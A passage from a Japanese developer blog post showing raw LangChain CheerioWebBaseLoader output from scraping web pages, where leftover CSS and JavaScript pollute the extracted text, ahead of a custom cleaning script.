読者になる 読者になる このブログについて 検索 リンク はてなブログ ブログをはじめる\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'このブログについて 検索 リンク はてなブログ ブログをはじめる 週刊はてなブログ はてなブログPro 最新記事 SRETT#10 ~\\\\n\' + \'夏のSRE祭り!アーカイブ動画公開! オライリーのAWS生成AI本 「SREをはじめよう」(Becoming SRE邦訳)が出版 Google Cloud\\\\n\' + \'エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'Google Cloud エンジニアおよび Google Cloud パートナー2社による生成AI利活用を進めるためのプロセス\\\\n\' + \'後継者不足のCOBOLを生成AIに引き継ぎ 月別アーカイブ ▼ ▶ 2024 2024 / 8 2024 / 7 2024 / 6 2024 / 5\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2024 / 6 2024 / 5 2024 / 4 2024 / 3 2024 / 2 ▼ ▶ 2023 2023 / 12\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'2023 / 12 はてなブログをはじめよう! shu-kobさんは、はてなブログを使っています。あなたもはてなブログをはじめてみませんか?\\\\n\' + \'はてなブログをはじめる(無料) はてなブログとは Toilを無くして徒然なるままに日暮し硯に向かひたい Powered by Hatena Blog |\\\\n\' + \\"ブログを報告する if (typeof window.Hatena === \'undefined\') { window.Hatena = {}; } if\\\\n\\" + \\"(!Hatena.hasOwnProperty(\'Star\')) { Hatena.Star = { VERSION: 2, }; } (function(d,\\\\n\\" + \'s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id))\\\\n\' + \'return; js = d.createElement(s); js.id = id; js.src =\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }, Document { pageContent: \'VERSION: 2, }; } (function(d, s, id) { var js, fjs =\\\\n\' + \'d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js =\\\\n\' + \'d.createElement(s); js.id = id; js.src =\\\\n\' + \'\\"//connect.facebook.net/ja_JP/sdk.js#xfbml=1&appId=719729204785177&version=v17.0\\";\\\\n\' + \\"fjs.parentNode.insertBefore(js, fjs); }(document, \'script\', \'facebook-jssdk\'));\\\\n\\" + \'引用をストックしました ストック一覧を見る 閉じる 引用するにはまずログインしてください ログイン 閉じる 引用をストックできませんでした。再度お試しください\\\\n\' + \'閉じる 限定公開記事のため引用できません。\\\\n\' + \'\\\\n\' + \'読者です 読者をやめる 読者になる 読者になる Hatena.Diary.GlobalHeader.init()\', metadata: { source: \'https://shu-kob.hateblo.jp/entry/2024/08/29/234143\', loc: [Object] }, id: undefined }]npx ts-node cheerioWebBaseLoader.ts https://www.gyomusuper.jp/ただし、例えば業務スーパーのホームページを読んだ際、余計なコードが多い。newDocuments:[ Document { pageContent: \\"$(function() { $(\'.sale_bnr_close\').on(\'click\', function() {\\\\n\\" + \\"$(\'.sale_bnr\').css(\'display\', \'none\'); }); }); /*onlineshopメニュー*/ .menu_ec:hover\\\\n\\" + \'{ background:url(\\"./img/menu_ec_on.png\\") no-repeat left center #FFF; transition:\\\\n\' + \'all .5s; } /*Gyomucaメニュー*/ .menu_gyomuca { display: inline-block; width: 260px;\\\\n\' + \'height: 44px; text-align: center; text-decoration: none; line-height: 44px;\\\\n\' + \'outline: none; background:url(\\"./img/menu_gyomuca.png\\") no-repeat left center;\\\\n\' + \'text-indent:100%; white-space:nowrap; overflow:hidden; } .menu_gyomuca:hover {\\\\n\' + \'background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center #FFF;\\\\n\' + \'transition: all .5s; } /*ここまで*/ .menu_gyomuca_on\\\\n\' + \'{background:url(\\"./img/menu_gyomuca_on.png\\") no-repeat left center\\\\n\' + \'#FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'left center #FFF;text-indent:100%;white-space:nowrap;overflow:hidden;display:\\\\n\' + \'inline-block;width: 260px;height: 44px;line-height: 44px;}\\\\n\' + \'お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針 ホーム 商品紹介 ミラクルレシピ 特集一覧 安心安全の取り組み\\\\n\' + \'業務スーパーとは Gyomuca お問い合わせ オンラインショップ FC加盟店募集 会社案内 日本語 / ENGLISH / 中文 .fc_com_link {\\\\n\' + \'display: flex; margin-left: 40px; margin-top: 5px; } #side_menu ul.fc_com_link\\\\n\' + \'li { width: auto; height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) {\\\\n\' + \'margin-right: 10px; } #side_menu ul.fc_com_link li a { position: relative;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'height: auto; } #side_menu ul.fc_com_link li:nth-of-type(1) { margin-right:\\\\n\' + \'10px; } #side_menu ul.fc_com_link li a { position: relative; font-size: 12px;\\\\n\' + \'color: #fff; font-weight: bold; text-shadow: 0px 0px 0.1px #fff; letter-spacing:\\\\n\' + \'1px; padding:5px; } #side_menu ul.fc_com_link li a span { content: \\"\\"; display:\\\\n\' + \'inline-block; width: 0; height: 0; border-style: solid; border-width: 5px 0 5px\\\\n\' + \'8.7px; border-color: transparent transparent transparent #ffffff; padding-right:\\\\n\' + \'8px; } #side_menu ul.fc_com_link li a:hover { background-color: #fff; color:\\\\n\' + \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#00a55a; text-decoration: none; transition: all .5s; } #side_menu ul.fc_com_link\\\\n\' + \'li a:hover span { border-color: transparent transparent transparent #00a55a;\\\\n\' + \'transition: all .5s; } /*FCページの時*/ #side_menu ul.fc_com_link li a.menu_fc2_on {\\\\n\' + \'background-color: #fff; color: #00a55a; text-decoration: none; text-shadow: 0px\\\\n\' + \'0px 0.1px #00a55a; } #side_menu ul.fc_com_link li a.menu_fc2_on span {\\\\n\' + \'border-color: transparent transparent transparent #00a55a; } /*ここまで*/ .lang_box\\\\n\' + \'{ margin-left: 42px; display: flex; } .lang_box span:nth-child(n + 2) {\\\\n\' + \'margin-left: 8px; } .social_box { margin-left: 38px; display: flex; margin-top:\\\\n\' + \'20px; padding-left: 5px; } .social_box p img { width: 100%; } .social_box\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'{ margin-left: 38px; display: flex; margin-top: 20px; padding-left: 5px; }\\\\n\' + \'.social_box p img { width: 100%; } .social_box p:nth-of-type(1) { margin-right:\\\\n\' + \'18px; } .social_box p { width: 35px; } @media screen and (min-width: 1024px) {\\\\n\' + \'#side_menu .social_box { padding-bottom: 80px; } } // 指定日時を超えたらセールスライド・バナー非表示\\\\n\' + \\"var now = new Date(); var end = new Date(\'2024/10/31 23:59:59\');\\\\n\\" + \\"//(指定日時 時間は24h表記) if ( now > end ) { $(\'.sale_slide_top\').remove();\\\\n\\" + \\"$(\'.sale_bnr\').remove(); }else{ // 保持時間を設定 30分後を取得 var min = new Date();\\\\n\\" + \'min.setTime( min.getTime() + ( 30 * 60 * 1000 )); console.log(min);\\\\n\' + `$(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==`, metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'var min = new Date(); min.setTime( min.getTime() + ( 30 * 60 * 1000 ));\\\\n\' + `console.log(min); $(\'.sale_bnr\').css(\'display\',\'block\'); $.cookie(\\"sale_bnr\\") ==\\\\n` + `\'on\'?$(\'.sale_bnr\').hide():$(\'.sale_bnr\').show(); $.cookie(\\"sale_bnr\\",\'on\',{\\\\n` + \\"expires: min , path: \'/\' }); } // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date();\\\\n\\" + \\"var end = new Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.sale_bnr_img img\').attr(\'src\',\'img/main_sale20240901.png\'); }\\\\n\\" + \\"$(window).on(\'load\', function(){ $(\'#bakudan\').attr(\'data-lightbox\',\'info01\');\\\\n\\" + \'}); // 指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new\\\\n\' + \\"Date(\'2024/8/31 23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) {\\\\n\\" + \\"$(\'.bakudan_slide\').remove(); $(\'.sale_alide\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"指定日時を超えたらセールスライド・バナー非表示 var now = new Date(); var end = new Date(\'2024/8/31\\\\n\\" + \\"23:59:59\'); //(指定日時 時間は24h表記) if ( now > end ) { $(\'.bakudan_slide\').remove();\\\\n\\" + \\"$(\'.sale_alide img\').attr(\'src\',\'img/main_sale20240901.png\'); } NEW ITEM 新着商品 新着\\\\n\\" + \'ホット&スパイシーヌードル\\\\n\' + \'ホットでスパイシーなインスタントヌードルです。スパイスをきかせたスープは、ピリッとした辛さの中にも旨みがあり、クセになります!熱湯をかけて粉末スープと調味オイルを加えるだけの簡単調理も魅力。鍋で煮込んでお好みの具材や、ご飯を入るアレンジもおすすめです。5袋入り。\\\\n\' + \'詳しくはこちら 詳しくはこちら PICK UP!おすすめ商品 商品をもっと見る 新着 パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'パルメザンチーズのリゾット\\\\n\' + \'イタリアの米料理の定番!リゾットです。パルメザンチーズのコクと旨味がたっぷり詰まった濃厚な味わい♪チーズがお好きな方におすすめのレシピです。おうちでお手軽にイタリアンをお楽しみください!\\\\n\' + \'詳しくはこちら パルメザンチーズ[要冷蔵] 詳しくはこちら PICK UP!おすすめレシピ レシピをもっと見る SPECIAL TOPICS 特集\\\\n\' + \'特集をもっと見る SNS 公式Instagram・公式X(旧Twitter) Tweets\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'Tweets by GyomusuperOFCL 公式Instagram 公式X(旧Twitter)\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'公式Instagram 公式X(旧Twitter)\\\\n\' + \'2024年8月30日台風10号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風10号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風10号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月19日フジテレビ「めざましテレビ」で紹介されました2024年8月16日(金)放送のフジテレビ「めざましテレビ」で、業務スーパーの商品が紹介されました。放送局:フジテレビ番組名:「めざましテレビ」放送日:2024年8月16日(金)めざましテレビ2024年8月16日台風7号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風7号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業状況につきましては、台風7号の影響による営業に関するお知らせをご確認ください。※最新の情報に関しましては、ご利用の店舗に直接お問い合わせください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。2024年8月15日【セール情報】9月1日(日)から「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'日頃のご愛顧感謝セール」START!いつも業務スーパーをご愛顧いただきありがとうございます!9月1日(日)から10月31日(木)までの2か月間、感謝の気持ちをたっぷり込めた「お買い得まみれ!!総力祭\\\\n\' + \'日頃のご愛顧感謝セール」を開催いたします。国内関連工場のオリジナル商品や海外直輸入商品など、とにかくお得なアイテム盛りだくさん!全国の業務スーパーで皆さまのご来店を心よりお待ちしております。<セール期間>【第1弾】2024年9月1日(日)~9月30日(月)【第2弾】2024年10月1日(火)~10月31日(木)<セール対象店舗>全国の業務スーパー各店(※一部店舗を除く)セール特設ページはこちら2024年8月12日台風5号の影響による営業に関するお知らせいつもご愛顧いただき、誠にありがとうございます。台風5号の今後の進路や状況により、お客さまの安全を最優先としまして、一部店舗では営業時間の短縮および臨時休業させていただく場合がございます。各店舗の営業時間や休業のご確認につきましては、台風5号の影響による営業に関するお知らせをご確認ください。大変ご迷惑をおかけしますが、何卒ご了承いただきますようお願いいたします。\\\\n\' + \'一覧を見る 『世界の本物』を直輸入!\\\\n\' + \'業務スーパーには、世界の国々で現地の人々に愛されている『世界の本物』が盛りだくさん!めずらしいものから日本でもなじみのあるものまで、厳選したアイテムを、高品質&ロープライスで取りそろえています!\\\\n\' + \'安さの秘密 自慢の国内自社工場の『オリジナル』\\\\n\' + \'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'自慢の国内自社工場の『オリジナル』\\\\n\' + \'国内の自社工場で、さまざまな「食」のニーズに応える、オリジナル商品をつくっています!ユニークな商品から日々の食卓に欠かせない商品までバラエティ豊かに低価格で取りそろえています!\\\\n\' + \'安全・安心の秘密\\\\n\' + \'スポーツには不思議なチカラがあります。こども達の心や体を強くするとともに、アスリート達の真摯な姿は多くの人々に笑顔と感動を与え、夢に向かって挑戦することの大切さを教えてくれます。\\\\n\' + \'神戸物産はヴィッセル神戸、横浜DeNAベイスターズ、神戸ストークスのオフィシャルスポンサーとして地域スポーツの発展を支援し、人々のくらしを応援します。\\\\n\' + \'.detail_footer{display: none;} @media screen and (max-width: 767px){\\\\n\' + \'.detail_footer{ display: block; position: fixed; bottom: 0; width: 100%;\\\\n\' + \'z-index: 20; } .detail_footer_con{ display: flex; justify-content: space-around;\\\\n\' + \'align-items: flex-start; max-width: 400px; width: 97%; margin: 0 auto; }\\\\n\' + \'.detail_footer_con a{ text-decoration: none; color: #fff; } .footer_btn{\\\\n\' + \'background-color: #13a555; padding: 10px; border-radius: 10px 10px 0 0; width:\\\\n\' + \'32%; font-size: 11px; color: #fff; display: flex; flex-direction: column;\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'#13a555; padding: 10px; border-radius: 10px 10px 0 0; width: 32%; font-size:\\\\n\' + \'11px; color: #fff; display: flex; flex-direction: column; justify-content:\\\\n\' + \'center; align-items: center; height: 55px; } .footer_btn p{ margin: 0; }\\\\n\' + \'.footer_btn img{ margin-bottom: 5px; } .shop_img{ width: 24%; } .bargain_img{\\\\n\' + \'width: 23%; } .pro_img{ width: 21%; } .to_img{ width: 22%; } .re_img{ width:\\\\n\' + \'25%; } .footer_x, .footer_insta{ width: 13%; border-radius: 40px; } .footer_x{\\\\n\' + \'background-color: #000; padding: 13px; } .footer_insta{ background-color:\\\\n\' + \'#ff0069; padding: 12px; } .footer_btn, .footer_x, .footer_insta{ box-shadow: 1px\\\\n\' + \'1px 4px 0 rgba(0, 0, 0, .5); } } 店舗検索 特売情報 ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品\\\\n\' + \'国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \'ホーム WEBチラシ 店舗案内 ミラクルレシピ 商品紹介 直輸入商品 国内自社工場商品 業務スーパーとは 安さの秘密 安全安心の取り組み 商品開発事前チェック\\\\n\' + \'現地工場チェック 品質安全検査 商品検証 FC加盟店募集 業務スーパー5つの強み 業務スーパーの特徴 オープンまでのプロセス 体制について 契約概要・加盟条件\\\\n\' + \'物件・商品のご提案募集 お問い合わせ | 会社案内 | サイトポリシー | 個人情報の保護に関する基本方針\\\\n\' + \'〒675-0063兵庫県加古川市加古川町平野125番1 \xa92018-document.write(new Date().getFullYear());\\\\n\' + \'Gyomu Super All Rights Reserved. footer small { display: block; text-align:\\\\n\' + \'right; padding-right: 10px; margin: 0 3%; color: #fff; } @media (max-width:64em)\\\\n\' + \'{ footer small { display: block; text-align: left; padding-right: 10px; margin:\\\\n\' + \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"20px 4%!important; color: #fff; } } $(\'.main_img\\\\n\\" + \\".swiper-slide\').click(function(){ var top_slide =\\\\n\\" + \\"$(this).children(\'a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_slide\', \'event_label\' : \'top_slide_\'+top_slide+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_slide\', {\'top_slide\' : top_slide}); }); $(\'.topics\').click(function() { var\\\\n\\" + \\"page_url = $(\'.topics a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\'\\\\n\\" + \\": \'topics_bnr\', \'event_label\' : \'topics_bnr_\'+page_url+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'topics_bnr\', {\'topics_bnr\' : page_url}); });\\\\n\\" + \\"$(\'.top_recipe_bnr\').click(function(){ var top_recipe_bnr = $(\'.top_recipe_bnr\\\\n\\" + \\"a\').attr(\'href\'); gtag(\'event\', \'click\', {\'event_category\' : \'top_recipe_bnr\',\\\\n\\" + \\"\'event_label\' : \'top_recipe_bnr_\'+top_recipe_bnr+\'\'}); gtag(\'event\',\\\\n\\" + \\"\'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\',\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'top_recipe_bnr\', {\'top_recipe_bnr\' : top_recipe_bnr}); });\\\\n\\" + \\"$(\'.gs_forum\').click(function(){ var gs_forum = $(\'.gs_forum .forumimg\\\\n\\" + \\"img\').attr(\'src\'); gtag(\'event\', \'click\', {\'event_category\' : \'gs_forum\',\\\\n\\" + \\"\'event_label\' : \'gs_forum_\'+gs_forum+\'\'}); gtag(\'event\', \'gs_forum\', {\'gs_forum\'\\\\n\\" + \\": gs_forum}); }); $(\'.information dt\').click(function(){ var news_title =\\\\n\\" + \\"$(this).children(\'p\').text(); gtag(\'event\', \'click\', {\'event_category\' : \'news\',\\\\n\\" + \\"\'event_label\' : \'news_\'+news_title+\'\'}); gtag(\'event\', \'news\', {\'news\' :\\\\n\\" + \\"news_title}); }); $(\'.yasusa\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'yasusa_himitsu\', \'event_label\' : \'yasusa_himitsu\'});\\\\n\\" + \\"gtag(\'event\', \'yasusa_himitsu\', {\'yasusa_himitsu\' : \'yasusa_himitsu\'}); });\\\\n\\" + \\"$(\'.anzen\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'anzen_himitsu\', \'event_label\' : \'anzen_himitsu\'}); gtag(\'event\',\\\\n\\" + \\"\'anzen_himitsu\', {\'anzen_himitsu\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'anzen_himitsu\', \'event_label\' :\\\\n\\" + \\"\'anzen_himitsu\'}); gtag(\'event\', \'anzen_himitsu\', {\'anzen_himitsu\' :\\\\n\\" + \\"\'anzen_himitsu\'}); }); $(\'.recipe_btm_link\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'recipe_btm_link\', \'event_label\' :\\\\n\\" + \\"\'recipe_btm_link\'}); gtag(\'event\', \'recipe_btm_link\', {\'recipe_btm_link\' :\\\\n\\" + \\"\'recipe_btm_link\'}); }); $(\'.3step_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'3step_btn\', \'event_label\' : \'3step_btn\'});\\\\n\\" + \\"gtag(\'event\', \'3step_btn\', {\'3step_btn\' : \'3step_btn\'}); });\\\\n\\" + \\"$(\'.setsuyaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'setsuyaku_btn\', \'event_label\' : \'setsuyaku_btn\'}); gtag(\'event\',\\\\n\\" + \\"\'setsuyaku_btn\', {\'setsuyaku_btn\' : \'setsuyaku_btn\'}); });\\\\n\\" + \\"$(\'.quick_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'quick_btn\', \'event_label\' : \'quick_btn\'}); gtag(\'event\', \'quick_btn\',\\\\n\\" + \\"{\'quick_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'setsuyaku_btn\'}); }); $(\'.quick_btn\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'quick_btn\', \'event_label\' : \'quick_btn\'});\\\\n\\" + \\"gtag(\'event\', \'quick_btn\', {\'quick_btn\' : \'quick_btn\'}); });\\\\n\\" + \\"$(\'.honkaku_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'honkaku_btn\', \'event_label\' : \'honkaku_btn\'}); gtag(\'event\', \'honkaku_btn\',\\\\n\\" + \\"{\'honkaku_btn\' : \'honkaku_btn\'}); }); $(\'.recipe_item\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'recipe_item\', \'event_label\' :\\\\n\\" + \\"\'recipe_item\'}); gtag(\'event\', \'recipe_item\', {\'recipe_item\' : \'recipe_item\'});\\\\n\\" + \\"}); $(\'.all_recipe_btn\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'all_recipe_btn\', \'event_label\' : \'all_recipe_btn\'});\\\\n\\" + \\"gtag(\'event\', \'all_recipe_btn\', {\'all_recipe_btn\' : \'all_recipe_btn\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_left\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'Visseel\', \'event_label\' : \'Visseel\'}); gtag(\'event\',\\\\n\\" + \\"\'Visseel\', {\'Visseel\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\": \'all_recipe_btn\'}); }); $(\'.sports_wrap .bun_left\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'Visseel\', \'event_label\' :\\\\n\\" + \\"\'Visseel\'}); gtag(\'event\', \'Visseel\', {\'Visseel\' : \'Visseel\'}); });\\\\n\\" + \\"$(\'.sports_wrap .bun_right\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'DeNA\', \'event_label\' : \'DeNA\'}); gtag(\'event\', \'DeNA\',\\\\n\\" + \\"{\'DeNA\' : \'DeNA\'}); }); $(\'.sale_bnr\').click(function(){ gtag(\'event\', \'click\',\\\\n\\" + \\"{\'event_category\' : \'sale_bnr_mini\', \'event_label\' : \'sale_bnr_mini\'});\\\\n\\" + \\"gtag(\'event\', \'sale_bnr_mini\', {\'sale_bnr_mini\' : \'sale_bnr_mini\'}); });\\\\n\\" + \\"$(\'.top_ec_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_ec_btn\', \'event_label\' : \'top_ec_btn\'}); gtag(\'event\', \'top_ec_btn\',\\\\n\\" + \\"{\'top_ec_btn\' : \'top_ec_btn\'}); }); $(\'.top_halal_btn\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_halal_btn\', \'event_label\' :\\\\n\\" + \\"\'top_halal_btn\'}); gtag(\'event\', \'top_halal_btn\', {\'top_halal_btn\' :\\\\n\\" + \\"\'top_halal_btn\'}); }); $(\'.gyomuca_slide\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'gyomuca_slide\', \'event_label\' : \'gyomuca_slide\'});\\\\n\\" + \\"gtag(\'event\', \'gyomuca_slide\', {\'gyomuca_slide\' : \'gyomuca_slide\'}); });\\\\n\\" + \\"$(\'.gyomuca_btn\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'gyomuca_btn\', \'event_label\' : \'gyomuca_btn\'}); gtag(\'event\', \'gyomuca_btn\',\\\\n\\" + \\"{\'gyomuca_btn\' : \'gyomuca_btn\'}); }); $(\'.top_shop_bnr a\').click(function(){\\\\n\\" + \\"gtag(\'event\', \'click\', {\'event_category\' : \'top_shop_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_shop_bnr\'}); gtag(\'event\', \'top_shop_bnr\', {\'top_shop_bnr\' :\\\\n\\" + \\"\'top_shop_bnr\'}); }); $(\'.top_bargain_bnr a\').click(function(){ gtag(\'event\',\\\\n\\" + \\"\'click\', {\'event_category\' : \'top_bargain_bnr\', \'event_label\' :\\\\n\\" + \\"\'top_bargain_bnr\'}); gtag(\'event\', \'top_bargain_bnr\', {\'top_bargain_bnr\' :\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"a\').click(function(){ gtag(\'event\', \'click\', {\'event_category\' :\\\\n\\" + \\"\'top_bargain_bnr\', \'event_label\' : \'top_bargain_bnr\'}); gtag(\'event\',\\\\n\\" + \\"\'top_bargain_bnr\', {\'top_bargain_bnr\' : \'top_bargain_bnr\'}); });\\\\n\\" + \\"$(document).ready(function() { $(\'.drawer\').drawer(); }); //infoaccordion\\\\n\\" + `$(function(){ $(\\".infoac dt\\").not(\'#noicon\').on(\\"click\\", function() {\\\\n` + \'$(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); }); }); //scroll\\\\n\' + `$(function(){ // #で始まるリンクをクリックしたら実行されます $(\'a[href^=\\"#\\"]\').click(function() { //\\\\n` + \'スクロールの速度 var speed = 600; // ミリ秒で記述 var href= $(this).attr(\\"href\\"); var target =\\\\n\' + `$(href == \\"#\\" || href == \\"\\" ? \'html\' : href); var position =\\\\n` + \\"target.offset().top; $(\'body,html\').animate({scrollTop:position}, speed,\\\\n\\" + \\"\'swing\'); return false; }); }); //matchHeight $(function(){\\", metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }, Document { pageContent: \\"var position = target.offset().top; $(\'body,html\').animate({scrollTop:position},\\\\n\\" + \\"speed, \'swing\'); return false; }); }); //matchHeight $(function(){\\\\n\\" + \\"$(\'.mh\').matchHeight(); }); function news_link(id,year) {\\\\n\\" + \'document.newslink.ne_id.value=id; document.newslink.ne_year.value=year;\\\\n\' + \'document.newslink.submit(); } $(function(){ $(\\"#acMenu dt\\").on(\\"click\\",\\\\n\' + \'function() { $(this).next().slideToggle(); $(this).toggleClass(\\"active\\"); });\\\\n\' + \'}); $(\\".information dl dt\\\\n\' + `p:contains(\'「酒類の品目等の表示義務」改正に伴う「麦旨」の品目表示及び税率適用区分表示の変更について\')\\").find(\'a\').attr({target:\\"_blank\\"});\\\\n` + \'objectFitImages();\', metadata: { source: \'https://www.gyomusuper.jp/\', loc: [Object] }, id: undefined }]CheerioWebBaseLoaderはbodyタグ内を読むのですが、styleタグやscriptタグが入ってしまっているからなんですね。そこで、CheerioWebBaseLoaderを使わず、URLからfetchして、cheerioTextで得たbodyタグの中からstyleタグやscriptタグの中身を除去したコードを実行。npx ts-node webLoad.ts 